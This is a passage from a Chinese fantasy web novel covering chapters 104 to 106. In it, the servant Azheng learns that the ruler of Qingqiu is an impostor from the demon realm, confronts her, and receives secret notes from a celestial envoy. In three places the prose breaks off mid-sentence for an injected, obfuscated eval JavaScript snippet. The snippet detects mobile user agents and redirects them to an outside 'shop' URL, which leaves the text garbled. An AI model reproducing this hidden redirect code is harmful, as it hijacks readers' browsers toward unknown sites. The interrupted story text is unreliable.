他是瑶儿的师父,与瑶儿相处多年,不会坐视不管的。他怀着一丝希冀,试探道:“现今的青丘之主白瑶是假的。” 晏离冰冷的面容出现了一丝僵硬,但很快归于平静。就是这一瞬间的变化,让阿筝恍然,瞳孔睁大,他突然意识到了什么,愕然道:“你早就知道了?” 晏离并未应答,竟还是端的这副波澜不惊的模样。 阿筝惊愕之余感到大失所望,继而拧眉怒道:“你早就知道现在位子上坐的那位是假的?” 晏离缓缓抬眸,眼中凝结着一层骇人的寒冰:“知道如何?不知道又如何?” 阿筝没想到他是这样的态度,一时有些发怔,眼神望着他像在看一个陌生人。 晏离冰冷坚硬的声线道:“请回。” 他身上散发出一股拒人于千里之外的寒气,让阿筝脸色一白,心中像是被撕开了一条缝。寒气贯入他的胸膛,冻得他唇齿战栗,本就没有血色的唇瓣现在更像附着了一层白色的寒霜。 “你......你就没有要对我说的?”阿筝感到困惑不已。晏离与瑶儿共处多年,听闻瑶儿遇害,他怎么能如此淡定? 晏离面不改色:“我无话可说。” 阿筝呼吸一滞,眼中翻滚着深深的痛意,呵斥道:“你是她师父!你就忍心看着残害她的人,顶替她的身份毁了青丘?” 晏离眼波微动,依旧平淡地说:“与我有何关系?” 有何关系?他怎么能这么冷酷无情? 阿筝难以置信地看着晏离,觉得失望透顶。 他仿佛从来没有认识过这个人,这个寒冰一般无人能入心的人。 阿筝不知是怎么浑浑噩噩地走出竹屋,耳边溪水潺潺,像是冲刷在他的身上。他抬眼无力地回望竹屋一眼,或许这一眼后,他不会再和晏离有任何干系...... 他转身抬腿欲走,忽闻身后响起一记金属撞击的声音。 山中空寂,清风穿过竹叶沙沙作响,鸟雀忽而略过枝头,留下翅膀震动的频率。这种不合时宜的声音,如同猝然断裂的琴弦,擦出了突兀又生硬的转折。 阿筝对声音十分敏感,顿时停下脚步。他直觉这声音不同寻常,拧眉细听,直到对上了晏离那双波澜不惊的眼睛。 他像是被人泼了一盆冷水,脑海中突然闪过一个念头,让他的心脏如死灰复燃一般快速跳动起来。 “发生了什么?你......”阿筝沉着脸疾步向他走去。 晏离身上散发的寒气更加浓烈,眼光似刀子向他逼来:“请回。” 阿筝脚步一顿,犹豫之间,还是选择走到晏离跟前,凝眉痛惜地看了晏离一眼。他垂眸深吸一口气,缓缓蹲下身,伸手探向晏离的脚踝。晏离向后蹒跚退去,行动笨拙迟缓,拉扯之下阿筝眼前闪过一道黑色印记。他手上一抖,诧异地抬头深深看了晏离一眼,仓皇地直起身,半天说不出一个字。 阿筝本以为晏离避世而居是自己的选择,但他脚上为何带着囚仙印?他这些年是否也遇到了什么变故? 晏离眼睫颤动,神色依旧淡漠。“你看到了,可以走了。” 阿筝再细看他,发现他的脸色、精神极差,眼下惨白的皮肤渗出一圈深青色,面部轮廓锋利,身上也消瘦了许多。但就算是这样,他依旧有一种出尘不染的气质,仿佛肉/体是身外之物。 阿筝痛惜道:“晏离,你这是何必......”话一出口,他突然记起很多年前当“白瑶”在万灵洞修养时,在洞前晏离也曾对他说过“何必”。那时他是如何回应的? 也许在那之前,因为当年瑶儿的心事,他对晏离早已产生了偏见。 阿筝深吸一口气:“你当初也是这样对她的吗?” 你当初对瑶儿也是如此?也是这样将所有的事情瞒下,自己一人承担? 晏离陷入沉默。 阿筝缓和了语气:“瑶儿拜你为师,对你是真情实意。她不能就这样消失。” 阿筝回忆起白瑶小时候顽皮的模样,脸上不自觉浮现出温暖的神情,轻声道:“她从小就很有主见,认定的事情就不会放弃,你知道她当初为了偷跑出宫费了多少周折吗? “她几次想从宫墙翻过去,都被巡逻的侍卫逮住,通报给了永昭殿下。永昭殿下罚她半年不准出公主殿,于是她从公主殿下挖了一条地道。地道挖着挖着偏离了方向,挖进了花园的荷花池中,她呛了水在床上躺了七天。” 阿筝带着恳求望向晏离,眼中浮现一层水雾:“永昭殿下劝过她数次让她回宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137767|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她都拒绝了,是因为想留在你身边。直到天界动荡,永昭殿下要为凝寒侍卫求药,为保佑青丘安宁,她才不得不回宫答应与华尧上神的婚约,继承青丘之主的位子。当时她对你说了什么?你是如何拒绝她的?我看得出她并未放下你,可你却连她继承青丘之主的大典也未出现。那时她该多伤心啊。” 晏离挪开目光,望向远处巍峨的高山,眼底映着一片碧绿青翠,却黯淡无光。 阿筝顺着他的目光望去,眼中云海翻腾,不及他心中涌动的悲怆:“她现在在哪里?”声音带出了一丝哽咽:“我找不到她。” 晏离不会给阿筝讲故事,阿筝只能自己去猜。晏离虽然待人冷淡,但不是无情无义之人,何况是对朝夕相处了数百年的徒弟。 他是什么时候发现“白瑶”不是瑶儿的?或许在“白瑶”从万灵洞出来之后,晏离就见过她。 想来晏离才是那个陪伴瑶儿长大的人,或许他对瑶儿更加了解吧。 阿筝的脑海中走马灯似晃过千年前的记忆,有什么东西在他脑海中稍纵即逝,一股困惑与不安之感油然而生。 晏离早就知道了这一切,他会不会......会不会去找过现在的“白瑶”?他与“白瑶”交过手吗?“白瑶”同他说了什么? 晏离仙术之高,“白瑶”未必是他的对手。他为何会落得如此下场? 阿筝深吸一口气,望着他的眼睛小心问道:“她同你说了什么?” “她是不是用瑶儿威胁你?难道她知道瑶儿的下落?”阿筝眼睛一亮,攥住晏离的袖子问:“瑶儿还活着是不是?” 晏离垂眸望向地上凋零的落叶,声音冷硬又残忍:“她死了。” 阿筝的嘴唇抿成一条线,哽咽道:“不准这样说!” 阿筝泫然若泣,手从晏离的袖口滑下,眼中的精神如同火苗熄灭,整个人神态比来时还要苍老几分,声音带着乞求道:“不准这样说...... “你若是不想说,我不为难你。眼下我们受制于人,一定要尽快找到瑶儿。找到瑶儿将她带回来,才能将魔族赶出青丘。” 风过林梢,枝叶沙沙作响。良久,晏离突然出声:“我试过了。” “不可能。那些找人的仙术你都试过了?”阿筝的声音提高几度,咬了咬牙:“不,还有一个办法。” 晏离抬眼望向他,眼眸中似有波动。 阿筝眸中闪着细碎的光,那是最后的希望:“招魂引。” 在来找晏离之前,他曾弹过招魂引试图找到瑶儿,但几天下来,非但一无所获,他的身体更是变得虚弱无力。他不敢想瑶儿是否魂飞魄散,坚信是魔族动了什么手脚。 他不能在外待得太久,宫里人一定会找来。他不能在宫中弹奏招魂引,恐会引来魔族的觊觎。那么只有一个办法...... 阿筝目光灼灼地看着晏离,对方微微敛眉:“你确定要这么做?” 阿筝点点头,眼中无比坚定:“永昭殿下对我有知遇之恩,瑶儿是我看着长大的,若是要我拿命去换也是心甘情愿。华胥氏灭亡,族中的宝物对我早已没有那么重要。 “他们一定在瑶儿身上动了手脚,所以招魂引才一时找不到她。但只要瑶儿还在,她就一定会在世间留下痕迹...... “只要存在痕迹,招魂引一定能找到她。” 话虽如此,但谁也不知道什么时候才能遇到契机。弹指一挥间,或许是几年,或许是十几年、几十年、几百年,甚至是上千年...... 一个月后,阿筝离开竹隐山,留下了一张地图。 或许他早有预感,一旦出宫,他与现在的那位“殿下”就再也回不去了。 104. 第 104 章 “白瑶”身着一袭深色广袖茶花霓裳,半卧在大殿的宝座之上,纤细的手指掐着一只几近凋谢的花梗,枯黄的花瓣无精打采地低垂着,随着她手腕的晃动,羸弱地微微摇颤。她往日灵动的眼眸此刻如同蒙上了一层迷雾,带着彷徨望着花瓣,不知在思索什么,唇轻轻抿着,唇角露出一线嘲讽的弧度。 大殿四周挂上了厚厚的绸布,殿上光线阴沉,越往深处越昏暗不清。阿筝站在门外徘徊了半晌,终是沉下气,步伐稳健地走上前。他向殿上行了一个礼,抬眼看到她这副颓然的模样,心尖微微一抽。 那副面容和瑶儿几乎一模一样,可是瑶儿从未露出过这样的神情。 “有苏哥哥,你回来了。”她白皙光洁的脚从衣袍中滑出,轻轻落在地毯上,缓缓坐起身,眼中薄雾悄然散去,适才手中把玩的花被随意扔在了座椅的阴影中。 阿筝沉默着,看着她光着脚从台阶上一步一步走下。她走得很慢,及地的长裙在身后拖曳,目光带着一丝探究在阿筝身上打量,忽然腿上一软就要倾倒...... 阿筝身体一动,就上前要去扶她,可是理智将他拉扯回来,袖中无力地攥了攥拳,沉默地望着她。她虚晃一下又稳住身体,停在台阶上,眼神幽怨地望着他。 “有苏哥哥,你怎么了?” 阿筝深吸一口气,垂首道:“我已经知道了。” 她向阿筝走近,那双白皙娇小的赤足走进了阿筝的余光里,迫使他目光向上挪移。 她用那双杏仁眼描绘着阿筝的眼睛,眼神狡黠又勾人,红唇轻启,带着几分旖旎的音色问道:“你知道什么了?” 阿筝退后几步,避开她灼灼目光:“你不是白瑶。” 她闻言没有一丝慌乱和迟疑,脚步轻点又向他靠来:“谁告诉你的?” 阿筝后退两步,沉声道:“这不重要。” 她的眼中划过一丝阴郁,眉间轻挑:“是不是苏怜漪?有苏哥哥,他就是个骗子,他说的都是假的。我不该让他进长乐宫,我把他赶出去好不好?”她的眼睛一眨不眨地望着阿筝,语气中隐隐带着一丝乞求:“有苏哥哥,难道你不信我?我是瑶儿啊!” 阿筝抬眼望向面前的女人,眼中掩盖的沉痛忽如洪水宣泄而出,嘴角因悲愤微微颤抖:“你不是。” 她眼神一变,双目牢牢锁住他,迫他对视:“我是。” 阿筝咬牙道:“你不是。” 她坚持道:“我是。” “我是!” 阿筝在她的步步紧逼下连连向后褪去,背脊陡然撞上殿内的柱子,撞得他头脑昏昏沉沉。 她猝然甩开身侧宽大的云袖,面目狰狞地嘶吼道:“我就是!” 声音响彻大殿,一股威压横扫而来,压得阿筝喘不过气。 她扑上前握住阿筝冰凉的手,目光在阿筝双眼之间流连,又恢复了原先的神情,状似乖巧地轻声道:“有苏哥哥,只要你想,我就是。” 熟悉的脸庞近在咫尺,一晃神,阿筝仿佛看见了记忆中那个单纯美好的小姑娘。他的瞳孔骤然一缩,抽开手,摇了摇头:“我不想。” 她扯了下嘴角,神色温柔地看着阿筝,继续蛊惑道:“我是白瑶有什么不好?白瑶回不来了,只有我能做白瑶。” 阿筝眼神中的沉痛愈加浓烈,愤然道:“白瑶不是一个符号,她是一个人!没有人能代替她!” 她的目光幽幽转冷,嘴角勾起一丝弧度,面色却沉的可怕。她转过身向幽暗处踱去,身体渐渐与阴影融为一体,狠戾的声音从暗处传来:“也许对你而言,她是活生生的人,但对青丘其他人而言,只要能保证他们衣食无忧,谁是青丘之主不都一样吗?” 她转身意味深长地回望阿筝,昏暗中莹莹眼波闪着细碎的光:“有苏哥哥......我们才是一类人啊!” 阿筝一怔:“你说什么?” “有苏,不是你的原名。”她顿了一下,似乎在观察他的反应:“你是华胥氏唯一的后人——华胥筝。” 阿筝身体一颤,袖中无力的拳陡然攥紧,指甲深深陷进了肉里。他呼吸不稳,连带着声音都在发颤:“你是谁?你们到底想做什么?” 她沉默着走回阿筝的身侧,轻轻抬起羽扇般的眼睫,意味不明地偏头打量他。阿筝胸口起伏,在与她对视片刻后别开眼去。 她上前贴近他的胸膛,阿筝想退后一步躲开,但染上温暖的一瞬间身体突然僵在原地。 她轻轻抵着他的胸膛,埋下头,沉声道:“我叫殷乐。原先是魔宫一名乐师的婢女。 “我少时居无定所,不知父母是谁,每天都在为食物和水担惊受怕。你知道人饿极了能做出什么吗?”殷乐拢了拢衣袖:“我和牲畜抢食,它们撕咬我的胳膊,践踏我的身体。我那时候浑身是伤,没有一处皮肤是完好的。”她的声音弱了下去,大殿陷入短暂沉默。 她的胳膊......阿筝垂眸瞥了一眼白瑶纤细的手臂,心中涌现一丝不恰当的痛。 殷乐没有等到阿筝的回应,又说道:“街上的孩子以捉弄我为乐,他们将我扔进狗舍,放狗咬我,拿皮鞭抽打我,将潲水泼在我身上,将我折磨得不成人形......”她的声音染上一股寒意:“我恨死他们了。” “后来我遇上了一名乐师,他将我捡了回去,让我做他的婢女。如果不是他,我可能早就死了。他让我重新过上了正常人的生活,很多年谨小慎微的生活,对我来说已经是来之不易的。但世上哪有这么好的事呢? “他性格古怪多疑,虽然将我招为婢女,却并未给予我优待。府上的下人见我无依无靠欺辱我,让我做最苦最累最脏的活儿,他坐视不管,也许他只是觉得好玩便将我捡了回来。直到有一天,我见到了主上。 “那时神魔大战已经结束,魔域战败,民不聊生。乐师将我献给了主上,主上待我极好,他给我锦衣玉食的生活,派人教我读书修炼,将我的过去全都洗刷得干干净净,多年后他交给了我一个任务。” 阿筝的心口怦怦直跳,殷乐停了下来,手抚上他的胸膛,抬起头目色迷离地望着他,轻笑一声:“你好像很紧张。” 阿筝提起一口气,正色道:“他交给了你什么任务?” 殷乐近距离看着阿筝的眼睛,眼底带着某种意味不明的情绪,缓缓说道:“他说我与青丘之主白瑶长得很像。” 阿筝瞳孔陡然放大,脑海中仿佛有一根线猝然紧绷,几乎能猜到这是什么意思。 天界有一门能够换魂的禁术,在原本的魂魄剥离肉身,肉身还未腐化时将另一枚魂魄嵌入。 放入的魂魄若与肉身违和,适应所需时间长,成功的几率极小,有可能两败俱伤。一旦魂魄与肉身相贴合,便能适应得很快,成功几率大大增加。他们想让殷乐夺下白瑶的肉身,取而代之,掌控青丘。 阿筝惊出一身冷汗,这种事简直是天方夜谭,魔族怎么敢将主意打到青丘之主身上? 殷乐轻轻搂上阿筝的后腰,将身体同他贴得更近了一些,微弱的呼吸像一根羽毛轻扫在他的衣襟处,喃喃道:“只可惜白瑶不肯贡献肉身,让我在万灵洞中待了三百年,才化成这副模样。” 阿筝猛地推开她,汗湿的长发落在脸颊边,眼睛因悲愤而变得赤红:“与魔族有仇的是天庭,不是青丘!你们为什么要对瑶儿做这种事!” 殷乐被推得踉跄一步,再抬起双眸时眼中染上了一丝阴鹜:“神魔大战中,青丘明面上没有出手,但当魔域无路可走,向青丘求援时,永昭殿下断然拒绝,而后匆忙又定下白瑶与华尧上神之间的亲事,青丘与天庭难道不是早有勾结?” 阿筝气得眼眶发红,身体微微颤抖:“不帮你们就是同谋?当年凝寒将军被魔兽所伤,青丘没有因此讨伐魔域,只是不再与你们来往,你们居然以为青丘是为了帮衬天庭。” 殷乐微眯了下眼:“什么意思?” 阿筝高声道:“青丘未曾讨伐已是仁至义尽,怎么可能与你们一同与天庭为敌?神魔大战期间,凝寒将军卧病在床,永昭殿下又怎么可能为了魔族,丢下年幼的琅儿上战场?” 殷乐眼中泛着幽光,执迷不悟道:“你只是一个侍者,必然不会知道那么多。” 阿筝脸上浮现悲凉之色:“瑶儿和华尧上神的婚约是我看着促成的,其中的缘由我自然知道,无论如何也不会和魔族的恩怨扯上关系。” 殷乐并未将他的话听进去,坚持道:“不论青丘立场如何,最终天庭得了好处是真。如果白瑶与华尧上神真的结成连理,魔域更加没有翻身之日。” 殷乐从他身边踱步走至光线稍亮处,透过殿外温暖的日晖,像是在思忆着什么。 “你知道你父亲为何要将锁魂铃寄存在魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137768|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域吗?” 阿筝不语。 殷乐侧身瞥向阿筝的方向,但目光低垂,并不看他,幽幽道:“因为华胥族从始至终都是站在魔域这边的。” 阿筝猛地看向她,惊愕道:“不可能。”就算父亲与前魔域之主是旧相识,那也是他的私交。华胥族不可能与天庭背道而驰,更不可能与魔域统一战线。” “有什么不可能!”殷乐转身厉声打断他的思绪,质问道:“华胥氏覆灭时,你父亲为何不向天庭求救?为什么没将族中法宝交给天帝保管?而你为何流落青丘,从未踏足天庭?” 华胥族是天界正道,怎么可能与魔族为伍? 可是父亲的的确确将最重要的锁魂铃交给了魔域,这是为什么? 究竟有什么是他不知道的? 殷乐见他神情出现动摇,望着他的眼睛步步紧逼:“我们才是同一类人。我们都经历了人生变故,改名换姓来到这个不属于我们的地方。这里没有人能真正理解你,只有我。” 殷乐牵起他藏于袖中紧紧攥拳的手,似一团温暖的火焰包裹住他冰冷的心,让阿筝心头一颤,想要将手抽回。但殷乐用了狠劲,看着他挣扎的模样,渐渐舒展眉目,柔声道:“有苏哥哥,只有我能理解你。” 阿筝一怔,多年来的孤寂让他想要靠近那团火焰,就算它是危险的,但它能带来温暖与安定。但他怎么能忘记永昭殿下对他的恩情,与青丘的仇人同流合污? 阿筝阖上眼睛,面露痛苦之色。 殷乐见此,松开手,嘴角浮现一抹冷意。大殿内回荡着她平淡得有些残忍的声音: “如果天界知道现今的青丘之主是魔族,你觉得会发生什么? “你想让青丘变成第二个华胥氏吗?” 阿筝睁开眼,浑身颤抖不止,昔日的记忆仿佛卷土重来。 青丘之主是魔族的消息一旦传开,天庭不会坐视不管,一定会伺机派兵攻打,企图吞并青丘。青丘的命运将会如何? 族群的覆灭将他连根拔起,他经受过一次断根之痛,以为自己再也不会扎根于某地。不曾想,永昭殿下给了他生存机会,只是这一次恐怕连青丘都要保不住了。 或许他才是华胥氏覆灭的原因。 他是不祥的。他不应该留下来连累任何人。 阿筝咬紧牙关拳头紧握,急促地深吸几口气,努力平复自己内心的汹涌。那些过去的创伤无孔不入,随时都会要了他的命。 青丘不能覆灭。 如果青丘覆灭,他的小姑娘就真的没有家了。 阿筝走后,殿内响起一阵窸窸窣窣的声音。大殿的柱子后走出一个瘦高的身影,唇角微微勾起,眼中晦暗不明。 殷乐冷冷回望一眼,眼底有一丝尚未褪去的失落,在撞上他视线的一刻,染上了些许恼意。 “你来做什么?我有没有说过,不准你来大殿?”殷乐的声音提高了几度。 苏怜漪唇边的笑意更深,但笑意未达眼底,眼神冰冷又残忍。“他偷跑出宫一月有余你竟然不追究?你可知道他去了哪里?做了什么?见了什么人?” 殷乐凝眉:“我不想知道。” 苏怜漪走到殷乐身侧,掐住她的下巴,迫她与他对视,低下头在她耳边暧昧不清地说:“你就对他如此宽容?” 殷乐打掉他的手,对他怒目而视:“苏怜漪,你还想受罚吗?” 苏怜漪松开手扬天大笑,笑声在大殿上肆意回荡,他眼中划过一丝嫉恨:“殷乐,别忘了你的身份是怎么来的。” 殷乐一双美目我见犹怜,脸颊被苏怜漪一捏,浮上了红痕。 苏怜漪眸色深沉,渐重呼吸洒落在她的脸上,作势要吻她。殷乐“啪”地一巴掌将他掀翻在地,这一巴掌用了全力,苏怜漪瘫倒在地上,嘴角流下了一行血迹。 苏怜漪也不恼,缓缓撑起身,眯了眯眼呵呵笑起来,声音如鬼魅在大殿上空飘扬:“殷乐啊殷乐,你说当初我是不是不该将你捡回来。当年我是主人,你是低贱的婢女,不论我对你做什么,你都不能反抗。如今可倒好,你成了高贵的青丘之主,我还是一名乐师,我竟然要看你的眼色。” 殷乐冷冷地看着他:“你就是个疯子。”言罢,甩袖径直走出大殿。 幽暗空寂的大殿只留下苏涟漪一人,他望着殷乐离开的背影,眼底渗出阴冷的恨意。 105. 第 105 章 清晨,沉寂一夜后的花园飘来淡淡的清香,墨蓝色的蝴蝶在花丛中翩然起舞,落在粉白花瓣上轻轻煽动翅膀。阿筝从游廊走过,听到不远处传来细碎的议论声,起初他并不在意,忽然一阵清风送来了几个音节,让他身体先于思绪放慢了脚步。 “有苏先生与殿下是不是......?” “那件事情如果不是殿下压着,他还能留在宫中?” “是啊,我看殿下对他挺好的,每个月的赏赐都少不了他的。”几簇花丛背后,负责洒扫的侍女凑在一起说着闲话。 “我前次偷偷看了,用的都是上好的材料,比我们用的都好。哪里是给普通侍从的?我看他们关系不简单。” “听说有苏先生前段时间不声不响就出宫了,殿下那些天脸色很不好看呢,但他回来后殿下不也没罚他吗?” “啊?还有这种事?” “是呀,殿下对他是不是有点......” “以后看到他多恭维一下,谁知道会不会有一天他就变成侍君了?”侍女们别有意味的笑声传来。 阿筝顿了一下,思及殷乐那日在大殿上对他说的话,心中传来一丝闷痛,随即快步走开。 一晃数月,宫里相传天庭要派使者出使青丘。 在神魔大战之前,天界三地有时会派使臣出访,明着以示友好,暗地里互通消息,但在神魔大战之后出访活动便停滞了。魔域与天庭关系崩塌,短时间不可能再进行友好往来,天庭这次出访明显是为了拉拢青丘。 阿筝听说后心里感受非常复杂,或许一开始青丘在天庭与魔域之间并没有选择,但神魔大战后的形势,倒逼它不得不站在天庭一边。可魔域并不会深究青丘的处境,他们只会看到结果。如此一来,魔域怕是会更加坚定地认为青丘与天庭早有合谋。 天庭出访的日子一天天近了,某天阿筝正在院子内洒扫,一抬头就见殷乐站在拱门边望着他出神。 他们摊牌后便未曾相见,阿筝与她道不同不相为谋,见了也是白见。不知她今日出现在这里是为何? 阿筝与她对视一瞬,冷然收回目光,手上的扫帚一挥,唰的一声将地上散落的枝叶归于一处。 “有苏哥哥。”殷乐走进院子,施施然在院里的石桌旁坐下,轻巧地说:“好些天没见着你,我过来看看。” 阿筝手上未停,扬起的尘土向院外扑去。 殷乐再次出声:“哥哥。” 阿筝扫帚用力一挥,沉声道:“哥哥不是你叫的。” 殷乐轻笑一声,站起身朝阿筝走近,冲他挑了一下眉:“那我私下叫你苏苏好了。” 阿筝手上一顿,眉头皱得更紧:“不知廉耻。” 殷乐没有恼怒,反而拉上阿筝的袖子将他拉扯到桌边,将他按在石凳上:“随你怎么说,这名字我叫定了。” 阿筝眉宇间露出怒意,想将袖子收回来。殷乐借了他的劲儿,反手将他抓住,抬眼狡黠地望着他说:“今天来是有事与你商量。”冰凉的指尖在阿筝的手心轻轻蹭了一下,唇边一抹别有意味的笑容,看得阿筝心底慌乱。她却不再进攻,而是自然地收回手,拿起桌上的空茶杯把玩。 “天庭要派使者过来,这些天你就安静待在偏院,不要出现在他们面前。”殷乐说得轻巧,实则眼神、语气中带着强制的意味。 “天庭若是产生怀疑,对你我都不是好事。苏苏,你觉得呢?” 阿筝怎么会想不明白其中的道理?虽然他对魔族已无半点好感,但此时若是引起天庭的怀疑,对青丘必定不是好事。若是被人发现青丘明面上与天庭结亲,实际上却与魔域暗通曲款,便将青丘架在了最危险的位置。一旦关系崩盘,青丘将会腹背受敌。 他有什么办法?如今他只是一个小小的侍者,如何能左右天界的命运? 殷乐见他没有拒绝,语气柔和了几分,似带着点儿撒娇:“苏苏,你好久没有给我做点心了。” 阿筝冷沉道:“那不是给你的。” 殷乐好像知道他会这样说,嘴角浮现笑意:“面见天庭使者的晚宴还缺一样饭后点心,听怜漪说你擅长做糕点,我想将这个任务交给你。或许你比较了解天庭的......口味?” 阿筝不明白她是何用意,从她口中听到“怜漪”二字心里隐隐有些不舒服,带着三分薄怒道:“我已将手艺交给了苏怜漪,你让他做吧。” 殷乐微怔,眼波闪烁,在阿筝脸上流连,忽而眼中闪现亮丽的光芒:“苏苏,你该不是醋了?” 阿筝呼吸一滞,身体后仰,立即反驳道:“胡说什么。” 殷乐嘴角的笑意渐渐扩大,眼神如沐春风,带着几分欣喜和得意望着他,握住他松松放在桌上的手,不顾他的挣扎,柔声道:“怜漪当日要为使者弹琴,没有功夫做点心,还是苏苏来吧。” 苏怜漪弹琴却让他洗手做点心,倒是打的好算盘。 “苏苏,这可是天庭的使者,为了两地日后的关系,青丘理应好好招待。”殷乐望着他的眼睛,眼中似有无限的温柔缱绻:“苏苏,这次招待好了,我会好好奖赏你的。” 天庭使者出访的日子很快到了。 宫里上上下下忙碌起来,表面功夫做得很足,整个宫殿像是镀了一层金子,闪烁着矜贵的光辉。 阿筝自殷乐那日交代后开始筹备,与后厨一同研制了几款精致的糕点,最终选择了一款名叫“墨樱”的团子。外形是一朵粉色小花,冰冰凉凉的粉色糯米皮切开,细腻的芝麻流心如闪烁的星河般从切口流出,浓香四溢,味美解腻。墨樱雕刻得栩栩如生,花旁用一道白色糯米粉做陪衬,显得精致高雅。花心到花瓣颜色由深渐浅,像一朵花由内而外缓缓绽开。 阿筝是有些私心的,殷乐既然选择让他做点心,就别怪他自作主张。前一日殷乐挑了几道菜品鉴时,目光在这道点心上停留了许久,最终深深看了阿筝一眼,放下沾着白色粉末与黑芝麻糊的小刀,扬扬手让侍女端了下去。 阿筝的心思显而易见,就算不能将此事捅出去,也不会毫无作为。殷乐目光流转,红唇轻启,落了两个字:“很好。”声音虽然平静,却有说不出的怪异。 那日日落前,宫门前传来一声:“恭候天庭使者来访——”,远在后厨的阿筝顺着声音向外望去,看见山头落日,天际金色光辉层层晕染。 阿筝不用出席宴会,做好团子后,他守在厨房外的小径边望着大殿默默出神。良久殿内传来悠扬的琴音,在恢弘的建筑上盘旋。 天色暗了下来,深沉夜空繁星闪烁,悠扬乐曲醉人心魂。 苏怜漪的琴技委实不错,在阿筝听过的弹奏者中他能排上前三,难以想象他这样心思繁重的人能弹出这样轻盈的曲子,可见他平日里藏得有多深。 厨房忙完的侍女出来透气,看到阿筝问道:“诶有苏先生,你怎么还在这儿?” 阿筝点点头:“想多听听曲子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137769|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍女抬头望去,眼中满是好奇:“弹这曲子的是苏乐师吧。听着苏乐师的曲子,品尝有苏先生亲手做的点心,真是世间绝佳的享受。” 阿筝:“墨樱已经上了吗?” 侍女摇摇头:“刚才已经端走了,应该是时候上了。” 清风拂面,摇曳的灯笼中透出夜晚的安宁。阿筝顺着花园往自己的小院走回去,远处的旋律轻妙悠扬,跟着他的脚步缓缓流淌,让夜色下花香浓郁的院子多了些曼妙缱绻。 阿筝对着朦胧月光伸出手,纤细的指节上还残留着几点粉面,他闭上眼睛,手指轻点,跟着耳中的旋律在虚空中从容地弹奏着......自从竹隐山回来,他再没有碰过琴。 那一夜过的并不平静,半夜合衣睡下的阿筝被风声吵醒,就见朦胧月色下窗外一只纸鹤在敲打他的窗棂。纸张碰撞发出沙沙声,在黑夜中格外诡异。 他卧在床上犹豫了一会儿,起身推开窗,纸鹤飘进来,在他眼前扑腾着翅膀,渐渐缓慢无力,像是要下坠。他赶紧接住了纸鹤,将纸鹤展开。 朦胧月色下,巴掌大的纸上写着:“夜半湖堤,故人来叙。” 可能是给哪个侍女的纸条扔错院子了吧。他匆匆扫了一眼,不以为然地点灯,将纸烧去。 又过一日,他路过膳房。膳房里几个忙忙碌碌的人影交错着,一阵饭菜的香味从窗口飘出。膳房的伙夫被热气呛得咳嗽了几声,从门边探出头喘气。一眼看到没来得及走开的阿筝,眼睛一瞪,快步地走出来:“诶,有苏先生,你来的正好。那天庭使者夸了宴会的点心,说还想再吃一次,我正愁不知道怎么做呢,你来了就好。你再做一次吧。” 阿筝:“这怎么行?殿下知道这事吗?” 伙夫大大咧咧地插着腰说:“使者的饮食怎么能惊扰殿下?当然是他们吩咐什么,我们做什么了。说来奇怪,那天庭使者像是没吃过好东西一样,宴会隔天居然自己跑来膳房,说要见一见做点心的师傅。他说这点心的手法,很像他认识的人,看到我满脸失望。我怎么了?我年轻的时候也是青年才俊好不好?” “诶,有苏先生,你没去过天庭吧?”伙夫问。 阿筝摇摇头,他是真没去过天庭,也没有故友来自天庭。对天庭使者所说的事情,阿筝感到疑惑。 伙夫点点头:“那就是他认错人了,要不您再做一次那点心?” 阿筝:“不了。宴会上的东西不是随便能做的,当心破坏了规矩。这件事就别跟其他人说了。” 伙夫点点头:“懂懂懂。” 阿筝未将两件事放在心上,直到又过一日,傍晚他再次收到了一只纸鹤。上面写着:“夜半湖堤,求见故人,有要事相告。” 阿筝倒吸一口冷气,这才将这些天发生的事情联系起来。难道天庭使者中有人认识他?又是如何认出的? 可现在实在不是一个好时机。华胥氏覆灭几千年,他躲在长乐宫无人知晓。华胥氏的三样法宝随着华胥氏一同消失,若是他出现在世人面前,怕是会被有心人利用,不知道会引起怎样的轰动。 无论现今青丘与魔域是否有关联,他都不能暴露。他不能连累青丘。 阿筝思量片刻,慎重地写了几句话,又觉得不妥,用手在纸片上轻轻一抹将字隐去。 门外传来急促的敲门声:“有苏先生,您在吗?这个月偏院的用度送来了,请您过目。” 阿筝匆匆将纸塞进了枕头底下。 106. 第 106 章 一连几日阿筝为了避开信中所说的湖畔,出门都绕道而行,直到听闻天庭使者已离开,才在月上枝头时,穿过花园小径走到湖边。 园中寂静无声,柳枝飘荡,如细碎的纱帘,清风在湖面掀起微微涟漪,在幽暗的湖面经久不息,就像故人留下的长久的叹息。 